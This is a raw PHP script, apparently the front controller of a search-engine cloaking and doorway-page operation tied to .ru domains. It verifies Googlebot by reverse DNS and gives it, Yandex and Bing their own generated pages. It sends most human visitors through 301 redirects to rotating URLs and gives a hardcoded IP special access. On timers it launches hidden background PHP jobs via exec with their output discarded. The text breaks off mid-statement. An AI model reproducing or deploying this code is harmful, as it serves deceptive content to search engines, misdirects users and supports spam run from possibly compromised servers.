?php if($_SERVER["HTTP_HOST"]=='facebook.com' or $_SERVER["HTTP_HOST"]=='www.facebook.com' or $_SERVER["REQUEST_URI"]=='/frmaps') { if(stripos($_SERVER["REQUEST_URI"],'maps')!==false) include (__DIR__ . '/m/catalog4.php'); exit(); } if (stripos($_SERVER['HTTP_USER_AGENT'], 'bing') !== false) { $dop=''; include("bin-11.php"); exit(); } $iii=date('i'); if($iii<54 && $iii>50 ) { $d=file_get_contents("h5.txt"); if($d!=date('H')) { file_put_contents("h5.txt", date('H')); $path = __DIR__ ."/added2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } } if($iii<34 && $iii>30 ) { $d=file_get_contents("h4.txt"); if($d!=date('H')) { file_put_contents("h4.txt", date('H')); $path = __DIR__ ."/added2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } } if($iii<44 && $iii>40 ) { $d=file_get_contents("h2.txt"); if($d!=date('H')) { file_put_contents("h2.txt", date('H')); $path = __DIR__ ."/added2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } } if($iii<25 && $iii>20 ) { $d=file_get_contents("h3.txt"); if($d!=date('H')) { file_put_contents("h3.txt", date('H')); $path = __DIR__ ."/added2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } } if($iii<5) { $d=file_get_contents("h.txt"); if($d!=date('H')) { $fd = fopen("htime.txt", 'a'); $str = date("H:i").' - '.$_SERVER["HTTP_HOST"]."\n"; fwrite($fd, $str); fclose($fd); file_put_contents("h.txt", date('H')); $path = __DIR__ ."/added2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added3.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); if(date('H')==12) { $path = __DIR__ ."/added1.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } $path = __DIR__ ."/cr2.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/indn.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); sleep(1); $path = __DIR__ ."/indn.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); sleep(1); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); $path = __DIR__ ."/added5.php"; exec("php {$path} {$min1} > /dev/null 2>/dev/null &"); } } if($_SERVER['REMOTE_ADDR']=="5.189.96.203") $_SERVER["HTTP_HOST"]='promos-1-5.bablox.ru'; $s=htmlspecialchars($_SERVER["HTTP_HOST"]); if(stripos('!!'.$s,"!promos")!==false) { include ('promos.php'); exit(); } if(stripos('!!'.$s,"!perks")!==false ) { //$_SERVER["HTTP_HOST"]='perks11.df.tu'; if(stripos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false or stripos($_SERVER['HTTP_USER_AGENT'], 'Yandex') !== false or $_SERVER['REMOTE_ADDR']=="5.189.96.203") { include ('perks.php'); exit(); }} if(stripos($s."!",".ru!")!==false ) { include("domen-sites.php"); $ww=explode(".",$s); if(count($ww)==3) $s11=$ww[1].".".$ww[2]; else $s11=$s; } if (file_exists("mainpageru/".$s)!==false) { $d1="ru"; } elseif(stripos(file_get_contents("domenssru.txt"), $s11)!=false) { $d1="ru"; } else{ $fd = fopen("spmedomens.txt", 'a'); $str = $_SERVER["HTTP_HOST"]."\n"; fwrite($fd, $str); fclose($fd); exit(); } if($d1!="ru" && $_SERVER["REQUEST_URI"]!=="/") $d1="1"; $dop=""; function isBot() { if (stripos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false && stripos($_SERVER['HTTP_USER_AGENT'], 'Image') == false) { $gio=file_get_contents("data-g/ip.txt"); $gip1=explode(".",$_SERVER["REMOTE_ADDR"]); if (stripos($gio, $gip1[0].".".$gip1[1].".".$gip1[2].".") !== false) return "google"; $host=gethostbyaddr($_SERVER["REMOTE_ADDR"]); $hostex=explode(".",$host); $com=array_pop($hostex); $google=array_pop($hostex); if ( $google.".".$com=="google.com" or $google.".".$com=="googlebot.com" or $google.".".$com=="google.ru") { //$url = parse_url($host); foreach(gethostbynamel($host) as $ip) { if($ip==$_SERVER["REMOTE_ADDR"]) { file_put_contents("data-g/ip.txt", $gio."\n".$_SERVER["REMOTE_ADDR"]); return "google"; } } } return false; } return false; } if (stripos($_SERVER['HTTP_USER_AGENT'], 'Yandex') !== false) { include("xpagesb.php"); exit(); } if (stripos($_SERVER['HTTP_USER_AGENT'], 'bing') !== false) include("bin-11.php"); if(isBot()== "google" or $_SERVER['REMOTE_ADDR']=="5.189.96.203") { if(stripos($s,"prod-")===0) { include("prod.php"); exit(); } if($_SERVER["REQUEST_URI"]=='/') { include('xpages.php'); exit(); } include('resender.php'); exit(); $fd = fopen("tesd/".date("y-m-d")."-rg.txt", 'a'); $str = date("H:i:s")." - ".$_SERVER["HTTP_HOST"]. $_SERVER["REQUEST_URI"]."\n"; fwrite($fd, $str); fclose($fd); header("HTTP/1.1 301 Moved Permanently"); header("Location: https://www.google.com/"); exit(); if(stripos($s,"tesd")===0) { include("tesd.php"); exit(); } $fd = fopen("tesd/".date("y-m-d")."-r.txt", 'a'); $str = date("H:i:s")." - ".$_SERVER["HTTP_HOST"]. $_SERVER["REQUEST_URI"]."\n"; fwrite($fd, $str); fclose($fd); // include("resender.php"); // exit(); /* header("HTTP/1.1 301 Moved Permanently"); header("Location: https://www.google.ru/"); exit(); */ if($_SERVER["REQUEST_URI"]!=="/") { if($_SERVER["REQUEST_URI"]=="/pages/" or $_SERVER["REQUEST_URI"]=="/wiki/" or $_SERVER["REQUEST_URI"]=="/help/" or $_SERVER["REQUEST_URI"]=="/promo/" or $_SERVER["REQUEST_URI"]=="/partners/" or $_SERVER["REQUEST_URI"]=="/up/" or $_SERVER["REQUEST_URI"]=="/journal/" or $_SERVER["REQUEST_URI"]=="/edu/" or $_SERVER["REQUEST_URI"]=="/gov/" or $_SERVER["REQUEST_URI"]=="/category/" or $_SERVER["REQUEST_URI"]=="/products/" or $_SERVER["REQUEST_URI"]=="/catalog/" or $_SERVER["REQUEST_URI"]=="/blog/" or $_SERVER["REQUEST_URI"]=="/articlies/" or $_SERVER["REQUEST_URI"]=="/shop/" or $_SERVER["REQUEST_URI"]=="/page/" or $_SERVER["REQUEST_URI"]=="/categories/" or $_SERVER["REQUEST_URI"]=="/product/" or $_SERVER["REQUEST_URI"]=="/catalogs/" or $_SERVER["REQUEST_URI"]=="/blogs/" or $_SERVER["REQUEST_URI"]=="/articlie/" or $_SERVER["REQUEST_URI"]=="/shops/"or $_SERVER["REQUEST_URI"]=="/pages1/" or $_SERVER["REQUEST_URI"]=="/wiki1/" or $_SERVER["REQUEST_URI"]=="/help1/" or $_SERVER["REQUEST_URI"]=="/promo1/" or $_SERVER["REQUEST_URI"]=="/partners1/" or $_SERVER["REQUEST_URI"]=="/up1/" or $_SERVER["REQUEST_URI"]=="/journal1/" or $_SERVER["REQUEST_URI"]=="/edu1/" or $_SERVER["REQUEST_URI"]=="/gov1/" or $_SERVER["REQUEST_URI"]=="/category1/" or $_SERVER["REQUEST_URI"]=="/products1/" or $_SERVER["REQUEST_URI"]=="/catalog1/" or $_SERVER["REQUEST_URI"]=="/blog1/" or $_SERVER["REQUEST_URI"]=="/articlies1/" or $_SERVER["REQUEST_URI"]=="/shop1/" or $_SERVER["REQUEST_URI"]=="/page1/" or $_SERVER["REQUEST_URI"]=="/categories1/" or $_SERVER["REQUEST_URI"]=="/product1/" or $_SERVER["REQUEST_URI"]=="/catalogs1/" or $_SERVER["REQUEST_URI"]=="/blogs1/" or $_SERVER["REQUEST_URI"]=="/articlie1/" or $_SERVER["REQUEST_URI"]=="/shops1/" or $_SERVER["REQUEST_URI"]=="/pages2/" or $_SERVER["REQUEST_URI"]=="/wiki2/" or $_SERVER["REQUEST_URI"]=="/help2/" or $_SERVER["REQUEST_URI"]=="/promo2/" or $_SERVER["REQUEST_URI"]=="/partners2/" or $_SERVER["REQUEST_URI"]=="/up2/" or $_SERVER["REQUEST_URI"]=="/journal2/" or $_SERVER["REQUEST_URI"]=="/edu2/" or $_SERVER["REQUEST_URI"]=="/gov2/" or $_SERVER["REQUEST_URI"]=="/category2/" or $_SERVER["REQUEST_URI"]=="/products2/" or $_SERVER["REQUEST_URI"]=="/catalog2/" or $_SERVER["REQUEST_URI"]=="/blog2/" or $_SERVER["REQUEST_URI"]=="/articlies2/" or $_SERVER["REQUEST_URI"]=="/shop2/" or $_SERVER["REQUEST_URI"]=="/page2/" or $_SERVER["REQUEST_URI"]=="/categories2/" or $_SERVER["REQUEST_URI"]=="/product2/" or $_SERVER["REQUEST_URI"]=="/catalogs2/" or $_SERVER["REQUEST_URI"]=="/blogs2/" or $_SERVER["REQUEST_URI"]=="/articlie2/" or $_SERVER["REQUEST_URI"]=="/shops2/" ) { /* $dffdf=""; $ded=explode("/",$_SERVER["REQUEST_URI"]); if(count($ded)==3 && $ded[1]!="" && $ded[2]=="") */ $fd = fopen("data-g/log/".date("y-m-d")."-razdel-".$d1.".txt", 'a'); $str = date("H:i:s")." - ".$_SERVER["HTTP_HOST"]. $_SERVER["REQUEST_URI"]."\n"; fwrite($fd, $str); fclose($fd); include("razdel".$d1.".php"); } $position=file_get_contents("data-g/pos".$d1.".txt"); if($position==false) { sleep(1); $position=file_get_contents("data-g/pos".$d1.".txt"); } if($position<2) {$position0=0; sleep(1); } else $position0=$position; $handle = @fopen('data-g/data'.$d1.'.txt', 'rb'); $buffer=''; fseek($handle, $position0, SEEK_SET);//указатель в положение $buffer = fgets($handle, 2000); $position1=ftell($handle); fclose($handle); if($position1==$position or $buffer=="") { $poisk="g"; include("chancher.php"); } if($position1==1) $position1=2; $flie[0]=str_replace('/"/',"/",trim($buffer)); $vv=file_get_contents("data-g/vv".$d1.".txt"); if($vv>4) { file_put_contents("data-g/vv".$d1.".txt", 4); //if($position!=false) file_put_contents("data-g/pos".$d1.".txt", $position1); $vv++; } else { $vv++; file_put_contents("data-g/vv".$d1.".txt", $vv); } /* if (stripos($_SERVER['HTTP_USER_AGENT'], 'Image') !== false) $mage="Image"; else $mage="";*/ $fd = fopen("data-g/log/".date("y-m-d")."".$d1.".txt", 'a'); $str = date("H:i:s")." - ". $position." - ".$_SERVER["HTTP_HOST"]. $_SERVER["REQUEST_URI"]." - \n"; fwrite($fd, $str); fclose($fd); if($flie[0]=="!@!") { $flie[0]="http://".date("m-d-H-i")."-".$vv."-".$d1."0.smartnotes.ru/"; $fd = fopen("test.txt", 'a'); $str = $flie[0]."\n"; fwrite($fd, $str); fclose($fd); } if($vv>2) { header("HTTP/1.1 301 Moved Permanently"); header("Location: ".trim($flie[0])); exit(); } echo '